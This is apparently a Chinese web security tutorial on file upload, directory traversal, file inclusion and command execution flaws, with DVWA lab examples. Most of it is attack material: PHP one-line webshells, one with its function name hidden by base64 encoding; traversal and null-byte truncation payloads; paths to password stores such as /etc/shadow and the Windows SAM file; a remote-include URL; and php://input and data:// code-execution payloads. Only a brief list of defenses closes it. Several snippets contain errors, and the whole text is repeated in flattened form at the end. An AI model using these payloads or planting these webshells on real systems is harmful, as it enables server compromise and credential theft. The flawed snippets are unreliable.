文件包含上传漏洞目录遍历命令执行漏洞
字数 2615 2025-08-15 21:31:50

文件上传、目录遍历与命令执行漏洞详解

一、文件上传漏洞

1. 一句话木马基本结构

一句话木马主要由两部分组成:

  • 执行函数
  • 接收被执行代码的变量

常见执行函数及利用方式:

  1. eval()

    <?php @eval($_POST['shell']);?>
    

    利用方式:上传后访问webshell.php?shell=phpinfo()

  2. assert()

    <?php @assert($_POST['shell']);?>
    

    利用方式与eval()类似

  3. create_function()

    <?php $func = create_function('',$_POST['shell']);$func();?>
    

    利用:shell=phpinfo()

  4. array_map()

    <?php 
    $func = $_REQUEST['func'];
    $way = $_REQUEST['way'];
    $array[0] = $way;
    $new_array = array_map($func,$way);
    ?>
    

    利用:?func=system()&way=whoami

  5. call_user_func() / call_user_func_array()

    <?php call_user_func(assert,$_GET['cmd']);?>
    
    <?php
    $array[0] = $_POST['shell'];
    call_user_func_array(eval,$array);
    ?>
    
  6. array_filter()

    <?php
    $cmd = $_POST['cmd'];
    $array[0] = $cmd;
    array_filter($array,assert)
    ?>
    

2. 文件操作函数

  1. file_put_contents()

    <?php 
    $test = "<?php @eval($_GET['shell']);?>";
    file_put_contents('test1.php',$text);
    ?>
    
  2. fputs()

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']');?>
    

3. 动态函数

<?php $_GET['a']($_GET['b'])?>

利用:?a=eval&b=phpinfo()

4. 隐藏函数技术

  1. base64_decode()

    <?php 
    $a=base64_decode("YXNzZXJ0"); 
    @a($_POST['shell']); 
    ?>
    
  2. parse_str()

    <?php
    $str="a=eval";
    parse_str($str);
    $a($_POST['shell']);
    ?>
    

二、目录遍历漏洞

1. 常见攻击方式

  1. Unix系统

    • 使用../进行目录回溯
  2. Windows系统

    • 使用../..\进行目录回溯
  3. URI编码形式

    • %2e%2e%2f../
    • %2e%2e/../
    • ..%2f../
    • %2e%2e%5c..\

2. 敏感文件路径

Windows系统:

  • c:\boot.ini - 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml - IIS配置文件
  • c:\windows\repair\sam - 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini - MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD - MySQL root密码
  • c:\windows\php.ini - php配置信息

Linux/Unix系统:

  • /etc/passwd - 账户信息
  • /etc/shadow - 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf - Apache2默认配置文件
  • /usr/local/app/php5/lib/php.ini - PHP相关配置
  • /etc/my.conf - mysql配置文件

三、文件包含漏洞

1. PHP文件包含函数

  • include() - 找不到文件时警告,继续执行
  • include_once()
  • require() - 找不到文件时致命错误,停止执行
  • require_once()
  • file_get_contents() - 把整个文件读入一个字符串

2. 本地文件包含(LFI)

示例代码:

<?php $filename = $_GET['filename']; include($filename);?>

利用方式:?page=../../dvwa/info.php

3. 防御绕过技术

  1. %00截断

    • 要求:
      • magic_quotes_gpc = Off
      • PHP版本<5.3.4
    • 利用:page=info.php%00
  2. 0x00截断

    • 要求与%00相同
    • 方法:
      1. 在文件末尾加标志:info.php a
      2. 用burp抓包,将空格(0x20)改为0x00
  3. 路径长度截断

    • Windows:目录最大长度256字节
    • Linux:目录最大长度4096字节
    • 利用:?page=info.php.(添加足够多的点)

4. 远程文件包含(RFI)

  • 要求:
    • allow_url_fopen = On
    • allow_url_include = On
  • 利用:?page=http://172.16.12.128/phpinfo.php

5. PHP伪协议利用

  1. file://

    • 无需特殊配置
    • 格式:file://文件的绝对路径
    • 示例:?page=file://D:/www/dvwa/dvwa/info.php
  2. php://filter

    • 用于读取源码
    • 格式:php://filter/read=convert.base64-encode/resource=文件路径
    • 示例:?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php
  3. php://input

    • 要求:allow_url_include=on
    • 将POST数据作为PHP代码执行
    • 示例:
      POST /vulnerabilities/fi/?page=php://input
      <?php phpinfo();?>
      
  4. data://

    • 要求:allow_url_fopen=onallow_url_include=on
    • 用法1:?page=data:text/plain,<?php phpinfo(); ?>
    • 用法2:?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
  5. zip://

    • 无需特殊配置
    • 格式:zip://archive.zip#dir/file.txt
    • 注意:#要用%23代替
    • 示例:?page=zip://D:\www\dvwa\dvwa\test.jpg%23info.php
  6. phar://

    • 类似zip://
    • 示例:?page=phar://D:\www\dvwa\dvwa\php.zip\info.php

四、命令执行漏洞

1. 系统命令执行函数

  1. system()

    system("whoami");
    
  2. passthru()

    passthru("whoami");
    
  3. exec()

    exec("whoami", $output);
    
  4. pcntl_exec()

    pcntl_exec("/user/bash", array("whoami"));
    
  5. shell_exec()

    shell_exec("whoami");
    
  6. popen()

    $handle = popen("/bin/ls", "r");
    
  7. proc_open()

    $process = proc_open("whoami", array(), $pipes);
    
  8. 反单引号

    echo `whoami`;
    

2. 命令拼接符

  • & - 无论如何都执行
  • && - 前一个成功才执行后一个
  • ; - 顺序执行
  • | - 将前一个命令的输出作为后一个命令的输入

五、防御措施

1. 文件上传防御

  • 检查Content-Type
  • 检查文件头
  • 重命名上传文件
  • 限制上传目录不可执行
  • 检查文件扩展名

2. 目录遍历防御

  • 禁止用户输入中包含../
  • 使用basename()函数获取文件名
  • 设置open_basedir限制访问目录

3. 文件包含防御

  • 禁用allow_url_include
  • 对包含文件进行白名单验证
  • 使用绝对路径而非相对路径

4. 命令执行防御

  • 禁用危险函数
  • 对用户输入进行严格过滤
  • 使用escapeshellarg()或escapeshellcmd()处理参数
文件上传、目录遍历与命令执行漏洞详解 一、文件上传漏洞 1. 一句话木马基本结构 一句话木马主要由两部分组成: 执行函数 接收被执行代码的变量 常见执行函数及利用方式: eval() 利用方式:上传后访问 webshell.php?shell=phpinfo() assert() 利用方式与eval()类似 create_ function() 利用: shell=phpinfo() array_ map() 利用: ?func=system()&way=whoami call_ user_ func() / call_ user_ func_ array() array_ filter() 2. 文件操作函数 file_ put_ contents() fputs() 3. 动态函数 利用: ?a=eval&b=phpinfo() 4. 隐藏函数技术 base64_ decode() parse_ str() 二、目录遍历漏洞 1. 常见攻击方式 Unix系统 使用 ../ 进行目录回溯 Windows系统 使用 ../ 或 ..\ 进行目录回溯 URI编码形式 %2e%2e%2f → ../ %2e%2e/ → ../ ..%2f → ../ %2e%2e%5c → ..\ 2. 敏感文件路径 Windows系统: c:\boot.ini - 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml - IIS配置文件 c:\windows\repair\sam - 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini - MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD - MySQL root密码 c:\windows\php.ini - php配置信息 Linux/Unix系统: /etc/passwd - 账户信息 /etc/shadow - 账户密码文件 /usr/local/app/apache2/conf/httpd.conf - Apache2默认配置文件 /usr/local/app/php5/lib/php.ini - PHP相关配置 /etc/my.conf - mysql配置文件 三、文件包含漏洞 1. PHP文件包含函数 include() - 找不到文件时警告,继续执行 include_once() require() - 找不到文件时致命错误,停止执行 require_once() file_get_contents() - 把整个文件读入一个字符串 2. 本地文件包含(LFI) 示例代码: 利用方式: ?page=../../dvwa/info.php 3. 防御绕过技术 %00截断 要求: magic_quotes_gpc = Off PHP版本 <5.3.4 利用: page=info.php%00 0x00截断 要求与%00相同 方法: 在文件末尾加标志: info.php a 用burp抓包,将空格(0x20)改为0x00 路径长度截断 Windows:目录最大长度256字节 Linux:目录最大长度4096字节 利用: ?page=info.php. (添加足够多的点) 4. 远程文件包含(RFI) 要求: allow_url_fopen = On allow_url_include = On 利用: ?page=http://172.16.12.128/phpinfo.php 5. PHP伪协议利用 file:// 无需特殊配置 格式: file://文件的绝对路径 示例: ?page=file://D:/www/dvwa/dvwa/info.php php://filter 用于读取源码 格式: php://filter/read=convert.base64-encode/resource=文件路径 示例: ?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php php://input 要求: allow_url_include=on 将POST数据作为PHP代码执行 示例: data:// 要求: allow_url_fopen=on 和 allow_url_include=on 用法1: ?page=data:text/plain,<?php phpinfo(); ?> 用法2: ?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== zip:// 无需特殊配置 格式: zip://archive.zip#dir/file.txt 注意:#要用%23代替 示例: ?page=zip://D:\www\dvwa\dvwa\test.jpg%23info.php phar:// 类似zip:// 示例: ?page=phar://D:\www\dvwa\dvwa\php.zip\info.php 四、命令执行漏洞 1. 系统命令执行函数 system() passthru() exec() pcntl_ exec() shell_ exec() popen() proc_ open() 反单引号 2. 命令拼接符 & - 无论如何都执行 && - 前一个成功才执行后一个 ; - 顺序执行 | - 将前一个命令的输出作为后一个命令的输入 五、防御措施 1. 文件上传防御 检查Content-Type 检查文件头 重命名上传文件 限制上传目录不可执行 检查文件扩展名 2. 目录遍历防御 禁止用户输入中包含 ../ 使用basename()函数获取文件名 设置open_ basedir限制访问目录 3. 文件包含防御 禁用 allow_url_include 对包含文件进行白名单验证 使用绝对路径而非相对路径 4. 命令执行防御 禁用危险函数 对用户输入进行严格过滤 使用escapeshellarg()或escapeshellcmd()处理参数